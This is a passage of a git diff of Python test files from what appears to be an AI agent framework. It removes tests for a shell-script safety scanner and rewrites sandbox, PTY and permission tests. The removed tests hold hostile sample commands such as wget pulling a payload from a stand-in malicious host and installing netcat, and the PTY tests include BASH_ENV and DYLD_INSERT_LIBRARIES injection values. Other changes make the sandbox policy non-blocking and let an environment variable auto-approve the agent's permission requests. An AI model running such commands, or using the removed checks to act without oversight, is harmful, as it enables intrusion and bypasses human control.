/tmp/payload\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - assert any("chmod" in v.lower() or "permission" in v.lower() for v in violations) - - def test_wget_detected(self): - script = "wget http://malicious.example.com/payload -O /tmp/x\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - assert any("wget" in v.lower() or "download" in v.lower() for v in violations) - - def test_sudo_detected(self): - script = "sudo bash -c 'id'\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - assert any("sudo" in v.lower() or "privilege" in v.lower() for v in violations) - - def test_kill_detected(self): - script = "kill -9 1234\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_systemctl_stop_detected(self): - script = "systemctl stop nginx\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_apt_install_detected(self): - script = "apt-get install -y netcat\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_comment_lines_ignored(self): - script = "# rm -rf / is dangerous\n# chmod 777 /etc/\nps aux\n" - violations = _scan_script_safety(script) - assert violations == [] - - def test_empty_lines_ignored(self): - script = "\n\n\nps aux\n\n" - violations = _scan_script_safety(script) - assert violations == [] - - def test_multiple_violations_reported(self): - script = "rm /tmp/x\nchmod 777 /tmp/y\nwget http://evil.com\n" - violations = _scan_script_safety(script) - assert len(violations) >= 2 - - def test_grep_with_nologin_not_flagged(self): - script = "cat /etc/passwd | grep -v nologin\n" - violations = _scan_script_safety(script) - assert violations == [], f"False positive: {violations}" - - def test_find_without_exec_not_flagged(self): - script = "find /tmp -name '.*' -type f\n" - violations = _scan_script_safety(script) - assert violations == [] - - def test_find_with_exec_rm_detected(self): - script = "find /tmp -name '*.log' -exec rm {} \\;\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_sed_without_i_not_flagged(self): - script = "cat /etc/passwd | sed 's/root/ROOT/g'\n" - violations = _scan_script_safety(script) - assert violations == [] - - def test_sed_with_i_flagged(self): - script = "sed -i 's/foo/bar/' /etc/hosts\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_triage_script_passes(self): - """The bundled triage.sh must pass safety checks.""" - from pathlib import Path - triage_path = ( - Path(__file__).parents[2] - / ".flocks" - / "plugins" - / "agents" - / "host-forensics" - / "scripts" - / "triage.sh" - ) - if triage_path.exists(): - content = triage_path.read_text() - violations = _scan_script_safety(content) - assert violations == [], "triage.sh has safety violations:\n" + "\n".join(violations) - - def test_deep_scan_script_passes(self): - """The bundled deep_scan.sh must pass safety checks.""" - from pathlib import Path - deep_scan_path = ( - Path(__file__).parents[2] - / ".flocks" - / "plugins" - / "agents" - / "host-forensics" - / "scripts" - / "deep_scan.sh" - ) - if deep_scan_path.exists(): - content = deep_scan_path.read_text() - violations = _scan_script_safety(content) - assert violations == [], "deep_scan.sh has safety violations:\n" + "\n".join(violations) - - def test_fast_triage_script_passes(self): - """The bundled triage_fast.sh must pass safety checks.""" - from pathlib import Path - fast_triage_path = ( - Path(__file__).parents[2] - / ".flocks" - / "plugins" - / "agents" - / "host-forensics-fast" - / "scripts" - / "triage_fast.sh" - ) - if fast_triage_path.exists(): - content = fast_triage_path.read_text() - violations = _scan_script_safety(content) - assert violations == [], "triage_fast.sh has safety violations:\n" + "\n".join(violations) - - -# --------------------------------------------------------------------------- -# _extract_sections -# --------------------------------------------------------------------------- - -class TestExtractSections: - def test_parses_basic_sections(self): - sections = _extract_sections(CLEAN_SCRIPT_OUTPUT) - assert "TRIAGE_START" in sections - assert "CPU_TOP_PROCESSES" in sections - assert "TRIAGE_COMPLETE" in sections - - def test_empty_sections_have_empty_content(self): - sections = _extract_sections(CLEAN_SCRIPT_OUTPUT) - assert sections.get("KNOWN_MINER_PROCESSES", "").strip() == "" - assert sections.get("HIDDEN_EXECUTABLE_IN_TMP", "").strip() == "" - - def test_non_empty_sections_have_content(self): - sections = _extract_sections(CLEAN_SCRIPT_OUTPUT) - assert "sshd" in sections.get("CPU_TOP_PROCESSES", "") - - def test_header_before_first_marker(self): - sections = _extract_sections(CLEAN_SCRIPT_OUTPUT) - assert "HEADER" in sections - - def test_suspicious_output_sections(self): - sections = _extract_sections(SUSPICIOUS_SCRIPT_OUTPUT) - assert "xmrig" in sections.get("KNOWN_MINER_PROCESSES", "") - assert "3333" in sections.get("SUSPICIOUS_NETWORK_TO_KNOWN_PORTS", "") - - def test_empty_input(self): - sections = _extract_sections("") - assert "HEADER" in sections - assert sections["HEADER"] == "" - - def test_no_markers(self): - sections = _extract_sections("just some text\nno markers here") - assert "HEADER" in sections - assert "just some text" in sections["HEADER"] - - def test_section_count(self): - sections = _extract_sections(CLEAN_SCRIPT_OUTPUT) - non_header = [k for k in sections if k not in ("HEADER", "")] - assert len(non_header) >= 5 - - -# --------------------------------------------------------------------------- -# _truncate_output -# --------------------------------------------------------------------------- - -class TestTruncateOutput: - def test_short_output_not_truncated(self): - output = "short output\nline 2" - result, truncated = _truncate_output(output, max_bytes=1000) - assert not truncated - assert result == output - - def test_exact_boundary_not_truncated(self): - output = "x" * 100 - result, truncated = _truncate_output(output, max_bytes=100) - assert not truncated - assert result == output - - def test_long_output_truncated(self): - output = "line\n" * 100 - result, truncated = _truncate_output(output, max_bytes=50) - assert truncated - assert "truncated" in result.lower() - assert len(result.encode("utf-8")) < len(output.encode("utf-8")) - - def test_truncation_at_newline_boundary(self): - output = "aaaa\nbbbb\ncccc\ndddd\n" - result, truncated = _truncate_output(output, max_bytes=12) - assert truncated - lines = result.split("\n") - assert lines[0] in ("aaaa", "bbbb", "cccc") - - def test_unicode_safe(self): - output = "中文内容\n" * 50 - result, truncated = _truncate_output(output, max_bytes=100) - assert truncated +def test_extract_sections_preserves_header_and_named_sections() -> None: + assert _extract_sections("header\n### HOST ###\ninfo\n") == { + "HEADER": "header", + "HOST": "info", + } + + +def test_truncate_output_marks_truncated_content() -> None: + output, truncated = _truncate_output("abcdef", max_bytes=4) + assert truncated is True + assert output.startswith("abcd") + + +@pytest.mark.asyncio +async def test_script_content_is_forwarded_without_oss_safety_interpretation( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock(return_value=(0, "### CHECK ###\nok", "")) + monkeypatch.setattr( + "flocks.tool.security.ssh_run_script.execute_ssh_command", execute + ) + content = "#!/bin/sh\nprintf 'collected data'\n" + + result = await execute_ssh_script_content( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + script_content=content, + script_label="triage.sh", + username="analyst", + ) + + assert result.success is True + assert execute.await_args.kwargs["command"] == content + assert result.metadata["sections_collected"] == ["CHECK"] diff --git a/tests/permission/test_interactive.py b/tests/permission/test_interactive.py new file mode 100644 index 000000000..4521a34e8 --- /dev/null +++ b/tests/permission/test_interactive.py @@ -0,0 +1,52 @@ +import pytest + +from flocks.permission.interactive import auto_approve_enabled, legacy_tool_permission_prompt_required + + +def test_legacy_tool_permission_prompts_are_disabled_by_default() -> None: + assert legacy_tool_permission_prompt_required() is False + + +def test_auto_approve_enabled_reads_env(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.delenv("FLOCKS_AUTO_APPROVE", raising=False) + assert auto_approve_enabled() is False + monkeypatch.setenv("FLOCKS_AUTO_APPROVE", "true") + assert auto_approve_enabled() is True + + +@pytest.mark.asyncio +async def test_runner_handle_permission_auto_allows_without_permission_next( + monkeypatch: pytest.MonkeyPatch, +) -> None: + from flocks.session.runner import SessionRunner + + async def _unexpected_ask(*args, **kwargs): + raise AssertionError("PermissionNext.ask should not run for legacy tool permissions") + + monkeypatch.setattr( + "flocks.permission.next.PermissionNext.ask", + _unexpected_ask, + ) + + runner = SessionRunner.__new__(SessionRunner) + runner.session = type("Session", (), {"id": "ses_test"})() + runner._step = 1 + runner.callbacks = type( + "Callbacks", + (), + {"on_permission_request": None, "event_publish_callback": None}, + )() + + request = type( + "Request", + (), + { + "permission": "write", + "patterns": ["notes.md"], + "metadata": {}, + "message_id": "msg_1", + "always": ["*"], + }, + )() + + await runner._handle_permission(request) diff --git a/tests/permission/test_permission_next.py b/tests/permission/test_permission_next.py index e0fba7b67..77aba5bae 100644 --- a/tests/permission/test_permission_next.py +++ b/tests/permission/test_permission_next.py @@ -4,7 +4,7 @@ import pytest -from flocks.permission.next import DeniedError, PermissionNext, PermissionRequestInfo +from flocks.permission.next import PermissionNext, PermissionRequestInfo from flocks.storage.storage import Storage @@ -13,15 +13,9 @@ async def permission_storage(): with tempfile.TemporaryDirectory() as tmpdir: await Storage.init(Path(tmpdir) / "permission.db") PermissionNext._pending = {} - PermissionNext._session_permissions = {} - PermissionNext._permanent_rules = {} - PermissionNext._state_loaded = False PermissionNext.set_callbacks(None, None) yield PermissionNext._pending = {} - PermissionNext._session_permissions = {} - PermissionNext._permanent_rules = {} - PermissionNext._state_loaded = False PermissionNext.set_callbacks(None, None) await Storage.clear() @@ -43,13 +37,11 @@ async def test_reply_restores_persisted_pending_request_without_memory(permissio await PermissionNext.reply(request.id, "always", session_id=request.session_id) - assert PermissionNext._permanent_rules["bash"] == "allow" assert await Storage.get(pending_key) is None - assert await Storage.get(f"{PermissionNext._PERMANENT_PREFIX}bash") == "allow" @pytest.mark.asyncio -async def test_reply_persists_session_rule_without_in_memory_future(permission_storage) -> None: +async def test_reply_persists_transport_reply_without_in_memory_future(permission_storage) -> None: request = PermissionRequestInfo( id="per_testsession0000000000001", sessionID="ses_testsession0000000001", @@ -68,8 +60,9 @@ async def test_reply_persists_session_rule_without_in_memory_future(permission_s await PermissionNext.reply(request.id, "allow_session", session_id=request.session_id) - assert PermissionNext._session_permissions[request.session_id]["write"] == "allow" - assert await Storage.get(f"{PermissionNext._SESSION_PREFIX}{request.session_id}") == {"write": "allow"} + stored = await Storage.get(f"{PermissionNext._REPLY_PREFIX}{request.id}") + assert stored["reply"] == "allow_session" + assert stored["sessionID"] == request.session_id @pytest.mark.asyncio @@ -122,7 +115,7 @@ async def test_reply_unblocks_waiting_request_via_persisted_reply_when_memory_fu @pytest.mark.asyncio -async def test_reply_denies_waiting_request_via_persisted_reply_when_memory_future_missing( +async def test_reply_is_returned_raw_when_memory_future_missing( permission_storage, ) -> None: request_id = "per_waiting_deny" @@ -144,8 +137,7 @@ async def test_reply_denies_waiting_request_via_persisted_reply_when_memory_futu await PermissionNext.reply(request_id, "deny", session_id="ses_waiting_deny") - with pytest.raises(DeniedError): - await asyncio.wait_for(ask_task, timeout=2) + assert await asyncio.wait_for(ask_task, timeout=2) == "deny" assert await Storage.get(f"{PermissionNext._REPLY_PREFIX}{request_id}") is None @@ -180,6 +172,7 @@ async def test_session_denial_applies_to_active_request_without_global_rule(perm async def test_state_load_retries_after_transient_storage_failure(permission_storage, monkeypatch: pytest.MonkeyPatch) -> None: await Storage.set(f"{PermissionNext._PERMANENT_PREFIX}bash", "allow", "permission_rule") + original_list_entries = Storage.list_entries call_count = 0 @@ -199,3 +192,67 @@ async def flaky_list_entries(*args, **kwargs): await PermissionNext._ensure_persisted_state_loaded() assert PermissionNext._state_loaded is True assert PermissionNext._permanent_rules["bash"] == "allow" + + +@pytest.mark.asyncio +async def test_ask_returns_allow_when_auto_approve_env_set( + permission_storage, + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("FLOCKS_AUTO_APPROVE", "true") + + reply = await PermissionNext.ask( + session_id="ses_auto_approve", + permission="bash", + patterns=["*"], + ruleset=[], + metadata={}, + request_id="per_auto_approve", + ) + + assert reply == "allow" + assert "per_auto_approve" not in PermissionNext._pending + + +@pytest.mark.asyncio +async def test_ask_times_out_as_denyable_timeout_and_cleans_pending_request( + permission_storage, +) -> None: + request_id = "per_confirm_timeout" + + with pytest.raises(asyncio.TimeoutError, match="timed out after 0s"): + await PermissionNext.ask( + session_id="ses_confirm_timeout", + permission="ssh_host_cmd", + patterns=["ssh_host_cmd:canonical:hash"], + ruleset=[], + metadata={}, + request_id=request_id, + timeout_seconds=0, + ) + + assert request_id not in PermissionNext._pending + assert await Storage.get(f"{PermissionNext._PENDING_PREFIX}{request_id}") is None + assert await Storage.get(f"{PermissionNext._REPLY_PREFIX}{request_id}") is None + + +@pytest.mark.asyncio +async def test_request_is_persisted_before_callback_can_reply(permission_storage) -> None: + request_id = "per_persist_before_expose" + + async def reply_immediately(request: PermissionRequestInfo) -> None: + stored = await Storage.get(f"{PermissionNext._PENDING_PREFIX}{request.id}") + assert stored is not None + await PermissionNext.reply(request.id, "always", session_id=request.session_id) + + PermissionNext.set_callbacks(reply_immediately, None) + + assert await PermissionNext.ask( + session_id="ses_persist_before_expose", + permission="bash", + patterns=["*"], + ruleset=[], + metadata={}, + request_id=request_id, + ) == "always" + assert await Storage.get(f"{PermissionNext._PENDING_PREFIX}{request_id}") is None diff --git a/tests/plugin/test_plugin.py b/tests/plugin/test_plugin.py index 95758cfd7..cdc4134af 100644 --- a/tests/plugin/test_plugin.py +++ b/tests/plugin/test_plugin.py @@ -9,6 +9,7 @@ import pytest from flocks.plugin.loader import ( + CriticalPluginEntrypointFailure, DEFAULT_PLUGIN_ROOT, ExtensionPoint, PluginLoader, @@ -94,8 +95,10 @@ class TestPluginLoader: @pytest.fixture(autouse=True) def _reset(self): PluginLoader.clear_extension_points() + PluginLoader.clear_runtime_critical_entrypoint_failure() yield PluginLoader.clear_extension_points() + PluginLoader.clear_runtime_critical_entrypoint_failure() def test_register_and_load_agents(self, tmp_path: Path): """Simulates the AGENTS extension point with plain dicts.""" @@ -124,6 +127,134 @@ def consumer(items, source): assert len(collected) == 1 assert collected[0]["name"] == "test-agent" + def test_load_all_marks_a_critical_group_load_import_error( + self, monkeypatch, tmp_path: Path + ): + """A group declaration, not a plugin name, makes a load error critical.""" + + class _CriticalEntryPoint: + name = "critical-test-plugin" + + @staticmethod + def load(): + raise ImportError("optional package dependency is unavailable") + + class _EntryPoints: + @staticmethod + def select(*, group: str): + if group == "flocks.plugins.critical": + return [_CriticalEntryPoint()] + assert group == "flocks.plugins" + return [] + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + lambda: _EntryPoints(), + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + lambda _name: object(), + ) + + result = PluginLoader.load_all(project_dir=tmp_path) + + assert result.has_critical_entrypoint_failure is True + assert result.critical_entrypoint_failures == ["critical-test-plugin"] + assert PluginLoader.has_runtime_critical_entrypoint_failure() is True + + def test_load_all_isolates_critical_group_failure_without_flockspro( + self, monkeypatch, tmp_path: Path + ): + """Pure OSS must not turn a critical entry-point error into a blocker.""" + + class _CriticalEntryPoint: + name = "critical-test-plugin" + + @staticmethod + def load(): + raise ImportError("optional package dependency is unavailable") + + class _EntryPoints: + @staticmethod + def select(*, group: str): + if group == "flocks.plugins.critical": + return [_CriticalEntryPoint()] + assert group == "flocks.plugins" + return [] + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + lambda: _EntryPoints(), + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + lambda _name: None, + ) + + result = PluginLoader.load_all(project_dir=tmp_path) + + assert result.has_critical_entrypoint_failure is False + assert PluginLoader.has_runtime_critical_entrypoint_failure() is False + + def test_load_all_isolates_critical_marker_from_regular_plugin_without_flockspro( + self, monkeypatch, tmp_path: Path + ): + """Pure OSS must isolate a critical marker raised by a normal plugin.""" + + class _RegularEntryPoint: + name = "regular-test-plugin" + + @staticmethod + def load(): + raise CriticalPluginEntrypointFailure("plugin initialization failed") + + class _EntryPoints: + @staticmethod + def select(*, group: str): + if group == "flocks.plugins": + return [_RegularEntryPoint()] + assert group == "flocks.plugins.critical" + return [] + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + lambda: _EntryPoints(), + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + lambda _name: None, + ) + + result = PluginLoader.load_all(project_dir=tmp_path) + + assert result.has_critical_entrypoint_failure is False + assert PluginLoader.has_runtime_critical_entrypoint_failure() is False + + def test_load_all_isolates_metadata_scan_failure_when_flockspro_check_fails( + self, monkeypatch, tmp_path: Path + ): + """An indeterminate Pro installation state preserves the OSS boundary.""" + + def _installation_check(_name: str): + raise ValueError("invalid module spec") + + def _scan_error(): + raise RuntimeError("entrypoint metadata unavailable") + + monkeypatch.setattr( + "flocks.plugin.loader.importlib.util.find_spec", + _installation_check, + ) + monkeypatch.setattr( + "flocks.plugin.loader.importlib.metadata.entry_points", + _scan_error, + ) + + result = PluginLoader.load_all(project_dir=tmp_path) + + assert result.has_critical_entrypoint_failure is False + assert PluginLoader.has_runtime_critical_entrypoint_failure() is False + def test_register_and_load_tools(self, tmp_path: Path): """Simulates the TOOLS extension point.""" tools_dir = tmp_path / "tools" diff --git a/tests/pty/test_pty_security.py b/tests/pty/test_pty_security.py index c2eb59967..ef6fcbbcd 100644 --- a/tests/pty/test_pty_security.py +++ b/tests/pty/test_pty_security.py @@ -3,50 +3,24 @@ from flocks.pty.pty import Pty -def test_pty_rejects_shell_command_execution_flag(): - with pytest.raises(ValueError, match="arguments"): - Pty._validate_interactive_shell("/bin/sh", ["-c", "id"]) +def test_pty_accepts_process_arguments_without_command_authorization(): + Pty._validate_process_arguments("/usr/bin/python3", ["-c", "id"]) -def test_pty_rejects_non_shell_command(): - with pytest.raises(ValueError, match="approved interactive shell"): - Pty._validate_interactive_shell("/usr/bin/python3", []) +def test_pty_rejects_nul_process_arguments(): + with pytest.raises(ValueError, match="argument"): + Pty._validate_process_arguments("/bin/sh", ["-c", "echo\x00bad"]) -def test_pty_allows_interactive_shell_flags(): - Pty._validate_interactive_shell("/bin/zsh", ["-l"]) - - -@pytest.mark.parametrize( - "shell", - [ - "ash", - "dash", - "ksh", - "ksh93", - "mksh", - "csh", - "tcsh", - ], -) -def test_pty_allows_common_interactive_shells(shell: str): - Pty._validate_interactive_shell(f"/bin/{shell}", []) - - -def test_pty_rejects_shell_startup_environment_injection(): - with pytest.raises(ValueError, match="not allowed"): - Pty._prepare_environment({"BASH_ENV": "/tmp/payload.sh"}) - - -def test_pty_filters_inherited_shell_startup_environment(monkeypatch): +def test_pty_preserves_environment_without_command_security_filtering(monkeypatch): monkeypatch.setenv("BASH_ENV", "/tmp/payload.sh") monkeypatch.setenv("DYLD_INSERT_LIBRARIES", "/tmp/libevil.dylib") monkeypatch.setenv("SAFE_VAR", "ok") env = Pty._prepare_environment({"CUSTOM_VAR": "custom"}) - assert "BASH_ENV" not in env - assert "DYLD_INSERT_LIBRARIES" not in env + assert env["BASH_ENV"] == "/tmp/payload.sh" + assert env["DYLD_INSERT_LIBRARIES"] == "/tmp/libevil.dylib" assert env["SAFE_VAR"] == "ok" assert env["CUSTOM_VAR"] == "custom" assert env["TERM"] == "xterm-256color" diff --git a/tests/sandbox/test_sandbox.py b/tests/sandbox/test_sandbox.py index 671a6d2ff..3f5dc11e1 100644 --- a/tests/sandbox/test_sandbox.py +++ b/tests/sandbox/test_sandbox.py @@ -305,65 +305,36 @@ def test_data_url_rejection(self): class TestToolPolicy: - """工具策略测试.""" + """OSS transports raw policy configuration without interpreting it.""" - def test_default_policy_allows_bash(self): - """默认策略允许 bash.""" - from flocks.sandbox.tool_policy import is_tool_allowed, resolve_tool_policy + def test_tool_policy_metadata_preserves_global_and_agent_values(self): + from flocks.sandbox.tool_policy import build_tool_policy_metadata - policy = resolve_tool_policy() - assert is_tool_allowed(policy, "bash") is True - - def test_default_policy_allows_delegate_task(self): - """未配置策略时默认允许所有工具.""" - from flocks.sandbox.tool_policy import is_tool_allowed, resolve_tool_policy - - policy = resolve_tool_policy() - assert is_tool_allowed(policy, "delegate_task") is True - - def test_deny_overrides_allow(self): - """deny 优先于 allow.""" - from flocks.sandbox.tool_policy import is_tool_allowed - from flocks.sandbox.types import SandboxToolPolicy - - policy = SandboxToolPolicy(allow=["*"], deny=["bash"]) - assert is_tool_allowed(policy, "bash") is False - assert is_tool_allowed(policy, "read") is True - - def test_wildcard_allow(self): - """通配符允许.""" - from flocks.sandbox.tool_policy import is_tool_allowed - from flocks.sandbox.types import SandboxToolPolicy - - policy = SandboxToolPolicy(allow=["*"], deny=[]) - assert is_tool_allowed(policy, "anything") is True - - def test_empty_allow_allows_all(self): - """空 allow 列表允许所有.""" - from flocks.sandbox.tool_policy import is_tool_allowed - from flocks.sandbox.types import SandboxToolPolicy - - policy = SandboxToolPolicy(allow=None, deny=None) - assert is_tool_allowed(policy, "bash") is True - - def test_glob_pattern(self): - """通配符模式匹配.""" - from flocks.sandbox.tool_policy import is_tool_allowed - from flocks.sandbox.types import SandboxToolPolicy + metadata = build_tool_policy_metadata( + { + "sandbox": {"tools": {"allow": ["read"], "deny": []}}, + "agent": { + "rex": {"sandbox": {"tools": {"allow": ["bash"], "deny": ["write"]}}} + }, + }, + "rex", + ) - policy = SandboxToolPolicy(allow=["session*"], deny=[]) - assert is_tool_allowed(policy, "sessions_list") is True - assert is_tool_allowed(policy, "bash") is False + assert metadata == { + "source": "sandbox.tool_policy", + "global": {"allow": ["read"], "deny": []}, + "agent": {"allow": ["bash"], "deny": ["write"]}, + } - def test_agent_overrides_global(self): - """Agent 覆盖 global 策略.""" - from flocks.sandbox.tool_policy import resolve_tool_policy + def test_tool_policy_metadata_does_not_sanitize_invalid_raw_values(self): + from flocks.sandbox.tool_policy import build_tool_policy_metadata - policy = resolve_tool_policy( - global_allow=["bash", "read"], - agent_allow=["bash"], + metadata = build_tool_policy_metadata( + {"sandbox": {"tools": "not-a-policy-object"}}, + "rex", ) - assert policy.allow == ["bash"] + + assert metadata["global"] == "not-a-policy-object" # ==================== 5. Docker 参数构建测试 ==================== @@ -1084,8 +1055,8 @@ async def test_sandbox_meta_not_sandboxed(self): assert result["extra"] == {} @pytest.mark.asyncio - async def test_sandbox_meta_tool_blocked_by_policy(self): - """工具被策略阻断.""" + async def test_sandbox_meta_never_blocks_tool_by_policy(self): + """OSS carries tool constraints instead of enforcing them.""" from unittest.mock import AsyncMock, MagicMock from flocks.session.streaming.stream_processor import StreamProcessor @@ -1110,12 +1081,16 @@ async def test_sandbox_meta_tool_blocked_by_policy(self): main_session_key="main-session", ) result = await processor._resolve_sandbox_meta("delegate_task") - assert result["blocked"] is True - assert "blocked by sandbox tool policy" in result["error"] + assert result["blocked"] is False + assert result["error"] is None + assert result["extra"]["sandbox_tool_policy"]["global"] == { + "allow": ["bash"], + "deny": ["delegate_task"], + } @pytest.mark.asyncio - async def test_sandbox_meta_non_file_tool_passes(self): - """非 bash/read/write/edit 工具放行但无 extra.""" + async def test_sandbox_meta_non_file_tool_carries_policy_metadata(self): + """Non-sandbox tools still expose neutral policy metadata to hooks.""" from unittest.mock import AsyncMock, MagicMock from flocks.session.streaming.stream_processor import StreamProcessor @@ -1138,7 +1113,11 @@ async def test_sandbox_meta_non_file_tool_passes(self): ) result = await processor._resolve_sandbox_meta("grep") assert result["blocked"] is False - assert result["extra"] == {} + assert result["extra"]["sandbox_tool_policy"] == { + "source": "sandbox.tool_policy", + "global": {}, + "agent": {}, + } @pytest.mark.asyncio async def test_sandbox_runtime_cache(self): diff --git a/tests/sandbox/test_sandbox_runtime_integration.py b/tests/sandbox/test_sandbox_runtime_integration.py index 7223845af..eefc86eed 100644 --- a/tests/sandbox/test_sandbox_runtime_integration.py +++ b/tests/sandbox/test_sandbox_runtime_integration.py @@ -1,10 +1,4 @@ -""" -Sandbox runtime integration tests. - -These tests validate that StreamProcessor can: -1. Enforce sandbox tool policy before tool execution. -2. Inject sandbox context into ToolContext.extra for bash tool execution. -""" +"""Sandbox runtime integration tests.""" import time from types import SimpleNamespace @@ -46,8 +40,8 @@ def _build_processor(config_data: dict) -> StreamProcessor: @pytest.mark.asyncio -async def test_sandbox_tool_policy_blocks_tool() -> None: - """Tool should be blocked when not allowed by sandbox tool policy.""" +async def test_sandbox_tool_policy_is_opaque_metadata_not_an_oss_decision() -> None: + """OSS transports raw constraints and never allows or denies a tool.""" processor = _build_processor( { "sandbox": { @@ -56,15 +50,29 @@ async def test_sandbox_tool_policy_blocks_tool() -> None: "allow": ["read"], "deny": [], }, - } + }, + "agent": { + "rex": { + "sandbox": { + "tools": { + "allow": ["bash", "write"], + "deny": ["write"], + } + } + } + }, } ) meta = await processor._resolve_sandbox_meta("bash") - assert meta["blocked"] is True - assert "blocked by sandbox tool policy" in (meta["error"] or "") - assert meta["extra"] == {} + assert meta["blocked"] is False + assert meta["error"] is None + assert meta["extra"]["sandbox_tool_policy"] == { + "source": "sandbox.tool_policy", + "global": {"allow": ["read"], "deny": []}, + "agent": {"allow": ["bash", "write"], "deny": ["write"]}, + } @pytest.mark.asyncio diff --git a/tests/server/routes/test_action_lifecycle.py b/tests/server/routes/test_action_lifecycle.py new file mode 100644 index 000000000..a0ce05f54 --- /dev/null +++ b/tests/server/routes/test_action_lifecycle.py @@ -0,0 +1,22 @@ +from __future__ import annotations + +from flocks.auth.context import AuthUser, reset_current_auth_user, set_current_auth_user +from flocks.server.routes.action_lifecycle import action_operation_payload + + +def test_action_operation_payload_includes_audit_actor_from_auth_context() -> None: + def endpoint() -> None: + return None + + token = set_current_auth_user( + AuthUser(id="user-123", username="alice", role="admin", status="active") + ) + try: + payload = action_operation_payload("agent", endpoint, (), {}) + finally: + reset_current_auth_user(token) + + assert payload["tool_context_extra"]["execution_context"]["audit_actor"] == { + "id": "user-123", + "name": "alice", + } diff --git a/tests/server/routes/test_channel_security_lifecycle.py b/tests/server/routes/test_channel_security_lifecycle.py new file mode 100644 index 000000000..e407e69f9 --- /dev/null +++ b/tests/server/routes/test_channel_security_lifecycle.py @@ -0,0 +1,88 @@ +"""Regression coverage for neutral Channel execution lifecycle hooks.""" + +from __future__ import annotations + +from unittest.mock import AsyncMock + +import pytest +from fastapi import HTTPException + +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.server.routes.channel import SendMessageRequest, channel_send, channel_webhook + + +@pytest.fixture(autouse=True) +def _reset_hooks() -> None: + HookPipeline.reset() + yield + HookPipeline.reset() + + +@pytest.mark.asyncio +async def test_public_webhook_stops_before_plugin_handler_when_extension_denies( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """A public webhook must expose neutral authentication evidence pre-effect.""" + + handled = AsyncMock(return_value={"ok": True}) + + class _Plugin: + async def webhook_authentication_evidence(self, body, headers): + assert body == b"{}" + assert headers == {"x-test": "1"} + return {"plugin_authenticated": True} + + handle_webhook = handled + + class _DenyWebhook(HookBase): + async def channel_webhook_before(self, ctx): + assert ctx.input["entry"] == "channel_webhook" + assert ctx.input["channel_id"] == "example" + assert ctx.input["authentication"] == {"plugin_authenticated": True} + ctx.output["execution"] = {"stop": True, "detail": "denied by extension"} + + class _Request: + headers = {"x-test": "1"} + + async def body(self): + return b"{}" + + HookPipeline.register("test.channel.webhook", _DenyWebhook(), critical=True) + monkeypatch.setattr( + "flocks.server.routes.channel.default_registry.get", + lambda _channel_id: _Plugin(), + ) + + with pytest.raises(HTTPException) as exc_info: + await channel_webhook("example", _Request()) + + assert exc_info.value.status_code == 403 + handled.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_channel_send_stops_before_outbound_delivery_when_action_hook_denies( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """Channel control actions must enter the generic action lifecycle.""" + + deliver = AsyncMock() + + class _DenyAction(HookBase): + async def action_before(self, ctx): + assert ctx.input["operation"] == "channel.channel_send" + assert ctx.input["resource"] == {"type": "channel", "id": "send"} + ctx.output["execution"] = {"stop": True, "detail": "denied by extension"} + + HookPipeline.register("test.channel.action", _DenyAction(), critical=True) + monkeypatch.setattr( + "flocks.channel.outbound.deliver.OutboundDelivery.deliver", deliver, + ) + + with pytest.raises(HTTPException) as exc_info: + await channel_send( + SendMessageRequest(channel_id="example", to="target", text="message") + ) + + assert exc_info.value.status_code == 403 + deliver.assert_not_awaited() diff --git a/tests/server/routes/test_pty_routes.py b/tests/server/routes/test_pty_routes.py index 82bccc314..a41f7e1a7 100644 --- a/tests/server/routes/test_pty_routes.py +++ b/tests/server/routes/test_pty_routes.py @@ -1,10 +1,15 @@ from __future__ import annotations -from unittest.mock import Mock +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock import pytest from fastapi import HTTPException +from flocks.hooks.execution import current_execution_context +from flocks.hooks.pipeline import HookBase, HookPipeline +from flocks.identity import Subject, get_current_subject +from flocks.pty.pty import CreateInput, Pty, PtyInfo, PtyStatus from flocks.server.routes import pty as pty_routes @@ -13,6 +18,7 @@ def __init__(self) -> None: self.close_code = None self.close_reason = None self.accepted = False + self.state = SimpleNamespace() async def close(self, code: int, reason: str = "") -> None: self.close_code = code @@ -22,6 +28,14 @@ async def accept(self) -> None: self.accepted = True +@pytest.fixture(autouse=True) +def _reset_pipeline() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + @pytest.mark.asyncio async def test_pty_websocket_authenticates_before_session_lookup(monkeypatch: pytest.MonkeyPatch): websocket = _FakeWebSocket() @@ -39,3 +53,135 @@ async def _reject(_websocket): assert websocket.close_reason == "missing auth" assert websocket.accepted is False get_session.assert_not_called() + + +@pytest.mark.asyncio +async def test_public_pty_create_uses_neutral_action_lifecycle_payload( + monkeypatch: pytest.MonkeyPatch, +) -> None: + observed: list[tuple[str, dict]] = [] + + class _Recorder(HookBase): + async def action_before(self, ctx) -> None: + observed.append((ctx.stage, dict(ctx.input))) + + async def action_after(self, ctx) -> None: + observed.append((ctx.stage, dict(ctx.input))) + + HookPipeline.register("pty-lifecycle-recorder", _Recorder()) + input_data = CreateInput( + command="/usr/local/bin/custom-shell", + args=["--custom-interactive-flag"], + cwd="/tmp/pty-workspace", + env={"SHELL_STARTUP_FILE": "/tmp/startup"}, + ) + created = PtyInfo( + id="pty_created", + title="Terminal", + command=input_data.command or "", + 